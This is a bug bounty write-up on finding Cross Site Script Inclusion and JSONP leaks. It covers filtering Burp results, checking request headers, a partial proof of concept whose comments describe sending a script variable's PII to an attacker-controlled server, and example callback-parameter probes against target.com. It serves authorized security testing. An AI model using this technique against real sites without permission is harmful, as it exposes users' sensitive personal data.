Effortlessly finding Cross Site Script Inclusion (XSSI) & JSONP for bug bounty
Hey everyone, I recently reported a dupe for a XSSI bug on a private program which paid out $̶3̶0̶0̶ ($800 Updated 13 Feb 2020) to the original reporter. I b̶e̶l̶i̶e̶v̶e̶ ̶t̶h̶e̶ ̶r̶e̶p̶o̶r̶t̶e̶r̶ ̶i̶s̶ ̶u̶n̶d̶e̶r̶p̶a̶i̶d̶ ̶s̶i̶n̶c̶e̶ ̶s̶e̶r̶i̶o̶u̶s̶ ̶i̶n̶f̶o̶r̶m̶a̶t̶i̶o̶n̶ ̶w̶a̶s̶ ̶l̶e̶a̶k̶e̶d̶ ̶¯̶\̶_̶(̶ツ̶)̶_̶/̶¯̶,̶ ̶&̶ decided to share the methodology I follow.
tl;dr (also read important notes at the bottom)
- After spidering the website (manual & automated), I filtered the results in Burp suite by MIME type, then skim through the responses of type “script” for sensitive information.
- I found a JS file which includes all the information that I filled in when signing up for an insurance policy. This included SSN, limited medical history, visa info, name, phone number, DOB, address etc. Yikes.
- I look at the HTTP GET request for the JS file to make sure that it doesn’t require CORS triggering headers like:
Authorization, X-API-KEY, X-CSRF-TOKEN, X-whatever
- At this stage if it does have CORS headers then, the attack will fail, unless I also find a CORS issue.
In this case, no special headers were needed, so I could include the JS file on a web page with a script tag and send it to any server leaking some serious PII, with the POC being similar to:
// var_name is a variable in vuln.js holding sensitive information
// sending information to an attacker controlled server
You can use the same way to find JSONP callbacks by appending parameters like callback=some_function, jsonp=blah on all paths that return sensitive information.
- Sometimes you’ll need multiple parameters to trigger a JSONP response. For example:
http://target.com?callback=test → no JSONP
http://target.com?type=jsonp&callback=test → returns JSONP
- For JSONP, different callback parameters might work on different endpoints even on the same website.
https://target.com/profile_info?callback=test→ no JSONP
https://target.com/profile_info?jsonp=test→ returns JSONP
But, on a different path on the same site:
https://target.com/account_info?jsonp=test→ no JSONP
https://target.com/account_info?jsoncallback=test→ returns JSONP
Feedback and constructive criticism are appreciated, thanks for reading!